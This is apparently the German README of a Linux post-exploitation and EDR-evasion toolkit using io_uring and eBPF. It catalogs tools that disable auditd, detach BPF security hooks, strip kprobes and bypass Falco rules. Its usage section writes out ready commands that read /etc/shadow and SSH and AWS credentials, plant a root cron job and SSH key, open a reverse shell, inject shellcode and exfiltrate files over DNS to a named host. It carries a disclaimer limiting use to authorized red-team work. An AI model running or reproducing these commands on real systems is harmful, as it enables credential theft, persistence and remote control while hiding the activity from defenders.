
Post-Exploitation- und Evasions-Forschungstoolkit für Linux.
Post-Exploitation- und Evasion-Forschungstoolkit für Linux, basierend auf io_uring und eBPF. Kein liburing, keine Frameworks, durchgängig raw syscalls.
Weitere Tools folgen bald. PRs sind willkommen. 🇧🇷
Tritt Rootkit Researchers bei
Nur für autorisierte Forschung und Red-Team-Einsätze. Führen Sie dies nicht auf Systemen aus, die Ihnen nicht gehören.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## Requirements
**Toolchain**
| tool | benötigt für |
|---|---|
| `gcc` | alle Userspace-Binärdateien |
| `clang` | `ebpf/*.bpf.c` BPF-seitige Programme |
| `make` | Build-System |
**Header und Bibliotheken**
| package | benötigt für |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` und zugehörige Kernel-Header |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` und verwandte, die in `ebpf/`-Programmen verwendet werden |
| `bpftool` | generiere `vmlinux.h` mittels `make vmlinux` innerhalb von `ebpf/` |
Auf Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Kernel-Versionen
| Minimum | Was es freischaltet |
|---|---|
| 5.4 | io_uring-Basis (IORING_FEAT_SINGLE_MMAP, BPF-Map-Iteration) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON-Aufteilung (ersetzt CAP_SYS_ADMIN für BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
Capabilities
| Capability | Tools, die sie benötigen |
|---|---|
CAP_BPF (oder CAP_SYS_ADMIN vor 5.8) | alle bpf/-Tools, ebpf/-Lader |
CAP_PERFMON | ebpf/-Tracepoint- und Kprobe-Programme |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
BTF muss im Kernel aktiviert sein (CONFIG_DEBUG_INFO_BTF=y), um make vmlinux für ebpf/-Programme auszuführen.
Bei Distributionen mit älteren libc-dev-Headern (Ubuntu 22.04 usw.) müssen Sie möglicherweise #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45 einfügen. Bereits in diesem Repository behandelt.
| Befehl | Erstellt |
|---|---|
make all | alles |
make uring | nur io_uring/ |
make bpf | bpf/-Userspace-Tools |
make ebpf | BPF-seitige Programme (benötigt clang + libbpf) |
make edrs | alle edrs/-Binärdateien |
make techniques | Falco-Umgehungstools |
make clean | alle Binärdateien entfernen |
edrs/ hat sein eigenes Unter-Makefile mit ~75 Binärdateien, aufgeteilt nach Berechtigungen:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
Siehe [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) für die vollständige Aufschlüsselung.
## io_uring Bypass-Abdeckung
io_uring SQEs durchlaufen den Kernel-Workqueue. `io_uring_enter(2)` ruft nie `sys_call_table` auf, feuert nie `sys_enter_*`-Tracepoints und trifft nie Livepatches auf `native_sys_call`. Das allein eliminiert eine große Klasse von EDR-Hooks, ohne etwas zu berühren.
Was io_uring eigenständig umgeht:
| hook point | Hinweis |
|---|---|
| `sys_call_table` pointer replacement | io_uring geht nie durch die Syscall-Tabelle |
| livepatch on `native_sys_call` / `compat_sys_call` | selber Grund |
Was io_uring NICHT eigenständig umgeht (benötigt ein aktives Werkzeug):
| hook point | tool | what the tool does |
|---|---|---|
| kprobes on `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | entfernt die kprobe-Hooks |
| BPF LSM / KRSI | `bpf_link_detach` | trennt den BPF-Link |
| Linux audit | `audit_kill` | deaktiviert auditd über NETLINK_AUDIT |
| LD_PRELOAD / PLT-GOT patches | `plt_unhook` | entfernt die Userland-Hooks |
| netfilter OUTPUT / conntrack | `af_packet_shell` | verwendet AF_PACKET auf Schicht 2, überspringt netfilter |
| `inet_stream_connect` hooks | `udp_shell` | verwendet UDP, ruft nie den TCP-Connect-Pfad auf |
## io_uring/
`iouring_utils.h` handhabt die Ring-Einrichtung ohne liburing.
| binary | what it does |
|---|---|
| `file_read` | OPENAT+READ+CLOSE-Kette über io_uring, kein sys_enter_read-Ereignis |
| `file_write` | OPENAT+WRITE+CLOSE-Kette |
| `file_append` | identisch zu file_write, jedoch O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV in einem Ring |
| `net_reverse_shell` | Reverse Shell über io_uring CONNECT |
| `multifile_read` | bis zu 64 Dateien in einem SQE-Batch |
| `memfd_exec` | streamt ELF über stdin in memfd, execve via /proc/self/fd |
| `proc_inject` | JIT-Injection via /proc/PID/mem; ptrace-Injection (--ptrace-Flag) |
| `pipe_splice` | SPLICE Kernel-zu-Kernel, Userland-Hooks sehen nie Bytes |
| `inotify_bypass_watch` | io_uring READ löst kein IN_ACCESS/IN_OPEN aus |
| `dns_exfil` | hex-kodiert Daten als DNS-Abfragelabels über io_uring SENDMSG |
| `af_packet_send` | rohes Ethernet über AF_PACKET (IORING_OP_SOCKET, umgeht inet-Pfad) |
| `xdp_socket_send` | roher Frame über AF_XDP + UMEM-Ring, umgeht netfilter vollständig |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
Die meisten Werkzeuge benötigen CAP_BPF. env_exfil funktioniert ohne Privilegien. icmp_trigger benötigt CAP_NET_RAW anstelle von CAP_BPF.